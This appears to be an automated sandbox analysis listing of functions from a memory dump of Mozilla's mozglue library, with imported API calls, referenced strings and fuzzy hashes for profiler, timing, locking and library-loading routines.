String ID:
API String ID: 1909280232-0
Opcode ID: d6de91f0f8a589c955665fcb1affe4dcce80d50caf185777072b75a4ef622df2
Instruction ID: 1f75dcaadaeb66e7ba6cbe3bfb16b00613997c0d6bc1b6391d3104e31771f89a
Opcode Fuzzy Hash: d6de91f0f8a589c955665fcb1affe4dcce80d50caf185777072b75a4ef622df2
Instruction Fuzzy Hash: 0361F271A047849BDB119F20D880BEE77B4FF89308F48851CED8A57701DB35E949CB92

Function 6CB19F40 Relevance: 9.2, APIs: 6, Instructions: 157timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6CB19FDB
free.MOZGLUE(?,?), ref: 6CB19FF0
free.MOZGLUE(?,?), ref: 6CB1A006
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6CB1A0BE
free.MOZGLUE(?,?), ref: 6CB1A0D5
free.MOZGLUE(?,?), ref: 6CB1A0EB

Memory Dump Source

Source File: 00000000.00000002.2691404314.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2691382583.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691499752.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691584764.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691606447.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: 99a0e5bf3cc2828a97b8fd53bbc8c3887b36f203b9c500d31c2d0256f4b7eec0
Instruction ID: 255f7af8ea47f1d045cc6fe3ef946a38212667ca678220b55367425d8d764779
Opcode Fuzzy Hash: 99a0e5bf3cc2828a97b8fd53bbc8c3887b36f203b9c500d31c2d0256f4b7eec0
Instruction Fuzzy Hash: D56140759096419FC711CF18C58056AB3F5FF88328F548659E8999BB02E731F98ACBC2

Function 6CB1DC50 Relevance: 9.1, APIs: 6, Instructions: 104timethreadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CB1DC60
AcquireSRWLockExclusive.KERNEL32(?,?,?,6CB1D38A,?), ref: 6CB1DC6F
free.MOZGLUE(?,?,?,?,?,6CB1D38A,?), ref: 6CB1DCC1
ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,6CB1D38A,?), ref: 6CB1DCE9
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,6CB1D38A,?), ref: 6CB1DD05
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000001,?,?,?,6CB1D38A,?), ref: 6CB1DD4A

Memory Dump Source

Source File: 00000000.00000002.2691404314.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2691382583.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691499752.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691584764.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691606447.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: ExclusiveLockStampTimeV01@@Value@mozilla@@$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 1842996449-0
Opcode ID: 0ad2008727e262ab42a8ef1c681c90905f166e6e5c3fe7bdca6e5632fb308145
Instruction ID: 658c5d4bb3c8e7f0926c8d8922d208bc186252546151eab8578052d6f9385add
Opcode Fuzzy Hash: 0ad2008727e262ab42a8ef1c681c90905f166e6e5c3fe7bdca6e5632fb308145
Instruction Fuzzy Hash: 3F4178B5A04615DFCB00CFA9D88099EBBF6FF89318B5545A9DA45ABB10DB31FC00CB90

Function 6CB06590 Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 342COMMON

Download Yara Rule

APIs

Part of subcall function 6CAFFA80: GetCurrentThreadId.KERNEL32 ref: 6CAFFA8D
Part of subcall function 6CAFFA80: AcquireSRWLockExclusive.KERNEL32(6CB4F448), ref: 6CAFFA99

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CB06727
?GetOrAddIndex@UniqueJSONStrings@baseprofiler@mozilla@@AAEIABV?$Span@$$CBD$0PPPPPPPP@@3@@Z.MOZGLUE(?,?,?,?,?,?,?,00000001), ref: 6CB067C8

Part of subcall function 6CB14290: memcpy.VCRUNTIME140(?,?,6CB22003,6CB20AD9,?,6CB20AD9,00000000,?,6CB20AD9,?,00000004,?,6CB21A62,?,6CB22003,?), ref: 6CB142C4

Strings

data, xrefs: 6CB06593

Memory Dump Source

Source File: 00000000.00000002.2691404314.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2691382583.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691499752.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691584764.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691606447.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentIndex@P@@3@@ReleaseSpan@$$Strings@baseprofiler@mozilla@@ThreadUniquememcpy
String ID: data
API String ID: 511789754-2918445923
Opcode ID: a0ca3586f6d70ad7d8571360431af2b172934c9c9cc9cfd596a8c50f14dd5377
Instruction ID: f89bc973215c05121df9b2d24545e0c3969fee9d6dac850720127e73a87ce81d
Opcode Fuzzy Hash: a0ca3586f6d70ad7d8571360431af2b172934c9c9cc9cfd596a8c50f14dd5377
Instruction Fuzzy Hash: 2AD1C175B083808FD724DF24D851B9FBBE5AFD5308F10892DE48987B51DB30A989CB92

Function 6CAFD5D0 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 279COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000001,?,?,?,?,6CACEB57,?,?,?,?,?,?,?,?,?), ref: 6CAFD652
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,6CACEB57,?), ref: 6CAFD660
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6CACEB57,?), ref: 6CAFD673
free.MOZGLUE(?), ref: 6CAFD888

Strings

|Enabled, xrefs: 6CAFD81E

Memory Dump Source

Source File: 00000000.00000002.2691404314.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2691382583.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691499752.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691584764.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691606447.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: free$memsetmoz_xmalloc
String ID: |Enabled
API String ID: 4142949111-2633303760
Opcode ID: 02e95f57fb60aac55eb51907806f42b5f2010bdf629b5437cfeab720e18854a9
Instruction ID: 7fffe866c8a097d22aba2f30f2355da6794294eefdfa3e42025140bd88ca6bb7
Opcode Fuzzy Hash: 02e95f57fb60aac55eb51907806f42b5f2010bdf629b5437cfeab720e18854a9
Instruction Fuzzy Hash: 78A10970E043488FDB12CF65C4847EEBBF1AF49318F18815CE8656B741D731A88ACBA1

Function 6CAFF440 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 103fileCOMMON

Download Yara Rule

APIs

GetFileInformationByHandle.KERNEL32(00000000,?), ref: 6CAFF480

Part of subcall function 6CACF100: LoadLibraryW.KERNEL32(shell32,?,6CB3D020), ref: 6CACF122
Part of subcall function 6CACF100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6CACF132

CloseHandle.KERNEL32(00000000), ref: 6CAFF555

Part of subcall function 6CAD14B0: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(6CAD1248,6CAD1248,?), ref: 6CAD14C9
Part of subcall function 6CAD14B0: memcpy.VCRUNTIME140(?,6CAD1248,00000000,?,6CAD1248,?), ref: 6CAD14EF

Part of subcall function 6CACEEA0: memcpy.VCRUNTIME140(?,?,?), ref: 6CACEEE3

CreateFileW.KERNEL32 ref: 6CAFF4FD
GetFileInformationByHandle.KERNEL32(00000000), ref: 6CAFF523

Strings

\oleacc.dll, xrefs: 6CAFF4CB

Memory Dump Source

Source File: 00000000.00000002.2691404314.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2691382583.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691499752.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691584764.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691606447.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: FileHandle$Informationmemcpy$AddressCloseCreateLibraryLoadProcwcslen
String ID: \oleacc.dll
API String ID: 2595878907-3839883404
Opcode ID: 29ac6dfab8f5b9f049ffa8c66d34c1e251e4f3672a64964f57363dcd0f5dac6e
Instruction ID: 6cfaf4f75a58e561a3094b14e3758b2cd7a48c9dcffb2dee3bae1b331967d16b
Opcode Fuzzy Hash: 29ac6dfab8f5b9f049ffa8c66d34c1e251e4f3672a64964f57363dcd0f5dac6e
Instruction Fuzzy Hash: 5B41B4706087509FD721DF69CD84A9BB7F4BF84318F504A1CF6A493650EB34D98ACB92

Function 6CB0E020 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 76threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CB09420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CAD4A68), ref: 6CB0945E
Part of subcall function 6CB09420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CB09470
Part of subcall function 6CB09420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CB09482
Part of subcall function 6CB09420: __Init_thread_footer.LIBCMT ref: 6CB0949F

GetCurrentThreadId.KERNEL32 ref: 6CB0E047
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CB0E04F

Part of subcall function 6CB094D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CB094EE
Part of subcall function 6CB094D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CB09508

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CB0E09C
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CB0E0B0

Strings

[I %d/%d] profiler_get_profile, xrefs: 6CB0E057

Memory Dump Source

Source File: 00000000.00000002.2691404314.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2691382583.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691499752.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691584764.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691606447.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: getenv$free$CurrentInit_thread_footerThread__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [I %d/%d] profiler_get_profile
API String ID: 1832963901-4276087706
Opcode ID: ce3927a4cf3839b7ac56c144f1b1001da0f043a38685ee94d76b42f05b97b366
Instruction ID: ecb3c2ab29243dce431edcfc2c95109c26d3617b8fcaa9cb4be31866eb2c4556
Opcode Fuzzy Hash: ce3927a4cf3839b7ac56c144f1b1001da0f043a38685ee94d76b42f05b97b366
Instruction Fuzzy Hash: E821F274B001888FDF00EF64D859AAEBBB9FF8520CF144014ED4A97740EB31A909C7E2

Function 6CB274A0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 72COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(00000000), ref: 6CB27526
__Init_thread_footer.LIBCMT ref: 6CB27566
__Init_thread_footer.LIBCMT ref: 6CB27597

Strings

kernel32.dll, xrefs: 6CB27557
UnmapViewOfFile2, xrefs: 6CB27552

Memory Dump Source

Source File: 00000000.00000002.2691404314.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2691382583.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691499752.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691584764.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691606447.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: Init_thread_footer$ErrorLast
String ID: UnmapViewOfFile2$kernel32.dll
API String ID: 3217676052-1401603581
Opcode ID: 7046a93f9672820a2601686a1566cb35b3f8d59220270aefaf319c0d439b889d
Instruction ID: 049b10cc9c87dabab78f2025d275be386dc9ae7af1645ce54c0cd05fc7483bb0
Opcode Fuzzy Hash: 7046a93f9672820a2601686a1566cb35b3f8d59220270aefaf319c0d439b889d
Instruction Fuzzy Hash: 6E2179357085C1A7CB059FE8C814EAA3376FB8633CF058128E81967B40C77CAC02CA9B

Function 6CB2A7A0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 43stringCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CB4F770,-00000001,?,6CB3E330,?,6CAEBDF7), ref: 6CB2A7AF
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,accelerator.dll,?,6CAEBDF7), ref: 6CB2A7C2
moz_xmalloc.MOZGLUE(00000018,?,6CAEBDF7), ref: 6CB2A7E4
LeaveCriticalSection.KERNEL32(6CB4F770), ref: 6CB2A80A

Strings

accelerator.dll, xrefs: 6CB2A7BF

Memory Dump Source

Source File: 00000000.00000002.2691404314.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2691382583.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691499752.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691584764.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691606447.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavemoz_xmallocstrcmp
String ID: accelerator.dll
API String ID: 2442272132-2426294810
Opcode ID: 3a2edb410da1f92a200d121de41dc8d466bbb91036b642a4013c420071901324
Instruction ID: fab12c29cb54918206fac98094e7252dfed75f421bfc4149a251b8880fb7d6fb
Opcode Fuzzy Hash: 3a2edb410da1f92a200d121de41dc8d466bbb91036b642a4013c420071901324
Instruction Fuzzy Hash: 2A01A2716083449FEF04DF99D884C257BF8FB9A329705C46AE9098B755DB74A800CFA1

Function 6CACF0A0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 26libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ole32,?,6CACEE51,?), ref: 6CACF0B2
GetProcAddress.KERNEL32(00000000,CoTaskMemFree), ref: 6CACF0C2

Strings

ole32, xrefs: 6CACF0AD
Could not load ole32 - will not free with CoTaskMemFree, xrefs: 6CACF0DC
Could not find CoTaskMemFree, xrefs: 6CACF0E3

Memory Dump Source

Source File: 00000000.00000002.2691404314.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2691382583.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691499752.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691584764.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691606447.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: Could not find CoTaskMemFree$Could not load ole32 - will not free with CoTaskMemFree$ole32
API String ID: 2574300362-1578401391
Opcode ID: 7d1ed2ef9da6a0da751723fe21dbfb54b5766bfe04953e88d51a9da8134afc55
Instruction ID: f34a9f5e64b4daaccd8519a4fed1b600afe394ec10d387a7b0198ef11c41324f
Opcode Fuzzy Hash: 7d1ed2ef9da6a0da751723fe21dbfb54b5766bfe04953e88d51a9da8134afc55
Instruction Fuzzy Hash: 4FE0D87478D6419B9F046A66AC18A2A37BC7B52A1D31CC42DE511D3E0CFA20D010C612

Function 6CB00080 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(wintrust.dll,?,6CAD7204), ref: 6CB00088
GetProcAddress.KERNEL32(00000000,CryptCATAdminAcquireContext2), ref: 6CB000A7
FreeLibrary.KERNEL32(?,6CAD7204), ref: 6CB000BE

Strings

wintrust.dll, xrefs: 6CB00083
CryptCATAdminAcquireContext2, xrefs: 6CB000A1

Memory Dump Source

Source File: 00000000.00000002.2691404314.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2691382583.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691499752.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691584764.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691606447.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: CryptCATAdminAcquireContext2$wintrust.dll
API String ID: 145871493-3385133079
Opcode ID: 69b5032e7a2271892d0795b425c99749e8c08ca569a15a7ea2ad598f2c1cc668
Instruction ID: 9cc508ce1b56809553089b1f94f86d0a5500f7a630ad9b0c811dd75722089e0f
Opcode Fuzzy Hash: 69b5032e7a2271892d0795b425c99749e8c08ca569a15a7ea2ad598f2c1cc668
Instruction Fuzzy Hash: 70E0E57464C784DADF00BF669808B057BFDB70B34AF50C415AA10C7608EB75C0109B22

Function 6CB000D0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(wintrust.dll,?,6CAD7235), ref: 6CB000D8
GetProcAddress.KERNEL32(00000000,CryptCATAdminCalcHashFromFileHandle2), ref: 6CB000F7
FreeLibrary.KERNEL32(?,6CAD7235), ref: 6CB0010E

Strings

wintrust.dll, xrefs: 6CB000D3
CryptCATAdminCalcHashFromFileHandle2, xrefs: 6CB000F1

Memory Dump Source

Source File: 00000000.00000002.2691404314.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2691382583.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691499752.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691584764.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691606447.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: CryptCATAdminCalcHashFromFileHandle2$wintrust.dll
API String ID: 145871493-2559046807
Opcode ID: a0bc087ac2b5eee90c9b823eae095562376dbf4a5dbd9a89037cbca4d59de827
Instruction ID: c424a6c2657b2d25463122b7e7670860a896f26f404a6c25c950f0b77f6879be
Opcode Fuzzy Hash: a0bc087ac2b5eee90c9b823eae095562376dbf4a5dbd9a89037cbca4d59de827
Instruction Fuzzy Hash: C9E01A7478D785DBEF00BF25D90AF267FF8F70220EF50C415AA0987608DBB0C0108A11

Function 6CB2C410 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6CB2C0E9), ref: 6CB2C418
GetProcAddress.KERNEL32(00000000,NtQueryVirtualMemory), ref: 6CB2C437
FreeLibrary.KERNEL32(?,6CB2C0E9), ref: 6CB2C44C

Strings

NtQueryVirtualMemory, xrefs: 6CB2C431
ntdll.dll, xrefs: 6CB2C413

Memory Dump Source

Source File: 00000000.00000002.2691404314.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2691382583.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691499752.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691584764.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691606447.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtQueryVirtualMemory$ntdll.dll
API String ID: 145871493-2623246514
Opcode ID: 47ec956aeddc490989a23df5149a22e74efc606a1907d8aff3eafbdc868c68d8
Instruction ID: 7168aa2686c0cba7b92533a464730bcc5750677fe1b0142aa9628746f732c154
Opcode Fuzzy Hash: 47ec956aeddc490989a23df5149a22e74efc606a1907d8aff3eafbdc868c68d8
Instruction Fuzzy Hash: 11E0B67464D741DBEF007FB6CD08B167BF8F74625EF00D51AAA589B609EBB4C4108B51

Function 6CB275B0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6CB2748B,?), ref: 6CB275B8
GetProcAddress.KERNEL32(00000000,RtlNtStatusToDosError), ref: 6CB275D7
FreeLibrary.KERNEL32(?,6CB2748B,?), ref: 6CB275EC

Strings

RtlNtStatusToDosError, xrefs: 6CB275D1
ntdll.dll, xrefs: 6CB275B3

Memory Dump Source

Source File: 00000000.00000002.2691404314.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2691382583.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691499752.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691584764.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691606447.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: RtlNtStatusToDosError$ntdll.dll
API String ID: 145871493-3641475894
Opcode ID: e444d5183426f79de90b0f457cd1f776304dd15529c81c81f765505453eb1766
Instruction ID: eba4db848cc5769fb70fec03b492b01aa659feed6ffd7d22600d47d20a709cb1
Opcode Fuzzy Hash: e444d5183426f79de90b0f457cd1f776304dd15529c81c81f765505453eb1766
Instruction Fuzzy Hash: 9CE0EE7538C341ABEB007BA6C848B05BBF8FB5221CF00C429AA0493608EAB88411CF01

Function 6CB27600 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6CB27592), ref: 6CB27608
GetProcAddress.KERNEL32(00000000,NtUnmapViewOfSection), ref: 6CB27627
FreeLibrary.KERNEL32(?,6CB27592), ref: 6CB2763C

Strings

NtUnmapViewOfSection, xrefs: 6CB27621
ntdll.dll, xrefs: 6CB27603

Memory Dump Source

Source File: 00000000.00000002.2691404314.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2691382583.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691499752.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691584764.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691606447.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtUnmapViewOfSection$ntdll.dll
API String ID: 145871493-1050664331
Opcode ID: 3105f0681bdd5b2c967236c23bc9a679b48f55413f7e11a7cde4e8038e901add
Instruction ID: 325b94bee286d4f84ea508a6db00d999a1072ff8ff316a56158fcf34694fee22
Opcode Fuzzy Hash: 3105f0681bdd5b2c967236c23bc9a679b48f55413f7e11a7cde4e8038e901add
Instruction Fuzzy Hash: 2FE01A7824C7409BDF007FAAC808B057FB8F76A25CF10C415EA04D3608D7B880008F19

Function 6CB2BE50 Relevance: 7.7, APIs: 5, Instructions: 163memoryCOMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,?,?,6CB2BE49), ref: 6CB2BEC4
RtlCaptureStackBackTrace.NTDLL ref: 6CB2BEDE
memset.VCRUNTIME140(00000000,00000000,-00000008,?,6CB2BE49), ref: 6CB2BF38
RtlReAllocateHeap.NTDLL ref: 6CB2BF83
RtlFreeHeap.NTDLL ref: 6CB2BFA6

Memory Dump Source

Source File: 00000000.00000002.2691404314.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2691382583.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691499752.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691584764.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691606447.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: Heapmemset$AllocateBackCaptureFreeStackTrace
String ID:
API String ID: 2764315370-0
Opcode ID: 530901aa9b989044b7400f3a33a14e9f2e73bb42742c3c59b829156436b8072c
Instruction ID: d3b7d0d29b34cc47443f0ee2607ecae1906dc1119eadc97991966e783b1e0494
Opcode Fuzzy Hash: 530901aa9b989044b7400f3a33a14e9f2e73bb42742c3c59b829156436b8072c
Instruction Fuzzy Hash: FB51A771A002558FEB24CF68CD80B6AB3B2FF88314F294639D51A97B54DB34F9068B81

Function 6CB18E00 Relevance: 7.6, APIs: 6, Instructions: 147COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,?,6CB0B58D,?,?,?,?,?,?,?,6CB3D734,?,?,?,6CB3D734), ref: 6CB18E6E
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6CB0B58D,?,?,?,?,?,?,?,6CB3D734,?,?,?,6CB3D734), ref: 6CB18EBF
free.MOZGLUE(?,?,?,?,6CB0B58D,?,?,?,?,?,?,?,6CB3D734,?,?,?), ref: 6CB18F24
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6CB0B58D,?,?,?,?,?,?,?,6CB3D734,?,?,?,6CB3D734), ref: 6CB18F46
free.MOZGLUE(?,?,?,?,6CB0B58D,?,?,?,?,?,?,?,6CB3D734,?,?,?), ref: 6CB18F7A
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6CB0B58D,?,?,?,?,?,?,?,6CB3D734,?,?,?), ref: 6CB18F8F

Memory Dump Source

Source File: 00000000.00000002.2691404314.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2691382583.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
